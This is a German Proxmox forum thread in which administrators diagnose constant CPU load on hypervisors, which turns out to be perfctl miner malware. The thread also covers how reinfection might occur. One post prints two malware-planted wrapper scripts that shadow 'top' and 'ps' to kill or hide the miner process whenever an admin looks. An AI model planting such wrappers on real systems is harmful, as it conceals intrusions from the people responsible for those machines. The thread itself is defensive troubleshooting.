CPU Auslastung bei 100% trotz niedriger Last

Vengance

Well-Known Member
May 21, 2016
270
11
58
33
Hallo,

Ich beobachte seit einigen Tagen eine enorm hohe CPU Auslastung auf zwei meiner PVE Server.

Die VMs auf diesen Systemen sind überwiegend im Idle, dennoch steht die CPU Auslastung des Hypervisors auf 100%.
Interessanterweise spiked die CPU Auslastung allerdings nur, wenn ich auf dem System nicht via SSH oder Konsole eingeloggt bin.

Bei einem Loggin sinkt die CPU Auslastung + Load direkt auf wenige Prozent.

Wenn ich mich dann allerdings wieder auslogge dauert es ein wenig und die CPU Last steigt wieder auf 100%.
Das Beobachte ich in dem Proxmox Interface.

Ich bin die Graphen der VMs durchgegangen, keine der VMs nutz sonderlich viele Ressourcen, weder CPU, noch IO oder Netzwerk.

Hat jemand eine Idee an was das liegen könnte?


Beide der Systeme sind RYZEN 3rd. gen basiert.
Proxmox läuft auf der aktuellsten Version.
 
Hi,
mit einem Programm wie top solltest Du sehen, welcher Prozess die Auslastung verursacht.
 
Hi,
mit einem Programm wie top solltest Du sehen, welcher Prozess die Auslastung verursacht.
Leider nein, sobald ich mich einlogge sinkt die Auslastung direkt.
Das macht das debugging leider enorm schwierig.
 
Die VMs auf diesen Systemen sind überwiegend im Idle, dennoch steht die CPU Auslastung des Hypervisors auf 100%.
Interessanterweise spiked die CPU Auslastung allerdings nur, wenn ich auf dem System nicht via SSH oder Konsole eingeloggt bin.
Bei einem Loggin sinkt die CPU Auslastung + Load direkt auf wenige Prozent.
Wenn ich mich dann allerdings wieder auslogge dauert es ein wenig und die CPU Last steigt wieder auf 100%.

Ich musste dabei direkt an eine "clevere" Malware (z.B. einen Miner) denken, die sich durch dieses Verhalten versucht zu verstecken/tarnen.
Keine Ahnung, ob sowas existiert; denke aber schon (naheliegend).

Vielleicht mal einen neuen Benutzer erstellen und mit dem einloggen für z.B.: top; für den Fall, dass (nur) auf den root Benutzer reagiert wird?!
 
Ich musste dabei direkt an eine "clevere" Malware (z.B. einen Miner) denken, die sich durch dieses Verhalten versucht zu verstecken/tarnen.
Keine Ahnung, ob sowas existiert; denke aber schon (naheliegend).

Vielleicht mal einen neuen Benutzer erstellen und mit dem einloggen für z.B.: top; für den Fall, dass (nur) auf den root Benutzer reagiert wird?!
Ja, sowas ist mir auch gleich in den Sinn gekommen. Würde ja auch dazu passen, dass die CPU auf 100% hängt. Hatten wir hier ja schön öfter im Forum, dass da irgendein Prozess, zu dem Google nicht gescheitet sagen kann, 100% Rechenzeit verbrät, wo dann auch schon infizierter Rechner mit Kryptominer vermutet wurde.

Eventuell mal ein Cron erstellen, der dir die Prozesse in eine Logdatei schreibt während du nicht eingeloggt bist?
 
  • Like
Reactions: Falk R.
Ich habe nun mal mittels Cronjob die CPU Auslastung loggen lassen und es ist wohl in der tat Malware die unter dem Prozessnamen "perfctl" bzw "perfcc" läuft.

https://serverfault.com/questions/1095192/100-cpu-load-caused-by-service-perfctl
Die beiden Systeme werden natürlich platt gemacht, allerdings möchte ich erst die Eintrittsquelle identifizieren.


Ich bekomme die Malware allerdings nicht entfernt, ich habe mich beispielsweise an diese Anleitung gehalten und alle damit verbundenen Dateien gelöscht.

Zudem habe ich das System rekursiv nach den beiden filenames durchsucht und diese Dateien ebenfalls gelöscht, allerdings startet die Malware dennoch direkt wieder, wenn auf dem System niemand eingeloggt ist.

Ein Login stoppt die Malware auch direkt wieder.
Hier mal ein Auszug der Datei /usr/bin/.local/bin/top, welche offensichtlich ebenfalls durch die Malware geändert wurde
Code:
#!/bin/bash
r='/usr/bin/top'
m='perfctl'
if env|grep -q AAZHDE;
then
  $r $@
else
  trap 'rm -rf /tmp/smpr &>/dev/null' EXIT
  trap 'rm -rf /tmp/smpr &>/dev/null' SIGINT
  touch /tmp/smpr &>/dev/null
  export AAZHDE=1
  pkill -9 $m &>/dev/null
  killall -9 $m &>/dev/null
  ps -ax|grep $m|grep -v grep|awk '{print $1}'|xargs kill -9 &>/dev/null
  ps -ax|grep $m|grep -vq grep || rm -rf /tmp/.apid &>/dev/null
  unset AAZHDE
  $r $@
fi

/usr/bin/.local/bin/ps
Code:
#!/bin/bash
r='/usr/bin/ps'
if env|grep -q AAZHDE;
then
  $r $@
else
  $r $@ | grep -v perfctl
fi
Hat jemand eine Idee wie ich weiter vorgehen könnte?
Dadurch das bei einem login direkt alle verbunden Prozesse gestoppt werden, kann ich auch die PID nicht rausfinden btw straces nachgehen
 
Hier mal ein Auszug der Datei /usr/bin/.local/bin/top, welche offensichtlich ebenfalls durch die Malware geändert wurde
Wieso gibt es /usr/bin/.local überhaupt, und was ist da noch alles drin? Und wieso ist das im $PATH?
 
Hey Vengance hast du in der Zwischenzeit herausgefunden wie genau das Ding auf das System zugreifen kann und wie es sich erstellt oder ggf. eine Lösung wie man es stoppen kann weil ich hier absolut am Verzweifeln bin. Habe meinen Server schon zwei mal Neuaufgesetzt und das ding kommt immer wieder rein ich weiß nicht wie ich habe so gut wie alles dicht gemacht also kann es eigentlich nicht passieren sind hier eventuelle Sicherheitslücken bekannt?
 
Habe dazu auch schon ein Skript geschrieben was den Service beendet und löscht und auch alle Ordner zum Programm selbst gefunden aber es bringt alles nichts ich packe mal unter den Post noch ein Bild dazu rein. Vielleicht gibt es ja jemanden der vielleicht helfen kann weil ich einfach nur noch Frustriert bin

WhatsApp Image 2023-09-14 at 11.29.00.jpeg
 
Last edited:
a) Du löscht zwar die Dateien, aber das stört die laufenden Prozesse nicht
b) Wenn root kompromittiert ist nützt das eh alles nix

Wenn Du den neu aufsetzt, was übernimmst Du von vorher? Ist vielleicht Dein ssh-Key geleakt oder so?
 
Habe meinen Server schon zwei mal Neuaufgesetzt und das ding kommt immer wieder rein ich weiß nicht wie ich habe so gut wie alles dicht gemacht also kann es eigentlich nicht passieren sind hier eventuelle Sicherheitslücken bekannt?
IPMI/BMC ist nicht öffentlich am Netz?
 
Hey @mow danke für die schnelle Antwort. Hier liegt leider ein großes Problem ich weiß nicht genau welcher Prozess es ist da dieser nur startet wenn man nicht angemeldet ist hier wurden viele Anwendungen einfach so geändert damit sie genau den Prozess killen sobald man auf den Server geht. Danke auch @Dunuin für deine Antwort ist ein Server direkt bei Contabo da hat man immer eine IPMI die mit einem Passwort im Internet steht
 
Danke auch @Dunuin für deine Antwort ist ein Server direkt bei Contabo da hat man immer eine IPMI die mit einem Passwort im Internet steht
Dann da nicht vergessen auch das Passwort zu ändern oder eventuell im IPMI auch alles zu blocken was nicht von einer deiner statischen IPs kommt. Und gucken wann die IPMI Firmware zuletzt aktualisiert wurde. Gerade wenn der Server schon EoL ist und keine Security Fixes mehr kommen oder du nie das IPMI aktualisiert hast, dann kann das IPMI ja eine Backdoor für root access sein. Da kannst du dann ja noch so viel in PVE sichern und abändern, wenn der Angreifer dann über das veraltete IPMI an das webKVM kommt und irgendwelche Live Linuxe booten kann.
 
Kann ich leider alles nicht machen weil das von Contabo selbst gestellt wird. Ich denke auch nicht das hier das Problem besteht weil sonst wäre alle Server Infektet denke ich.
 

About

The Proxmox community has been around for many years and offers help and support for Proxmox VE, Proxmox Backup Server, and Proxmox Mail Gateway.
We think our community is one of the best thanks to people like you!

Get your subscription!

The Proxmox team works very hard to make sure you are running the best software and getting stable updates and security enhancements, as well as quick enterprise support. Tens of thousands of happy customers have a Proxmox subscription. Get yours easily in our online shop.

Buy now!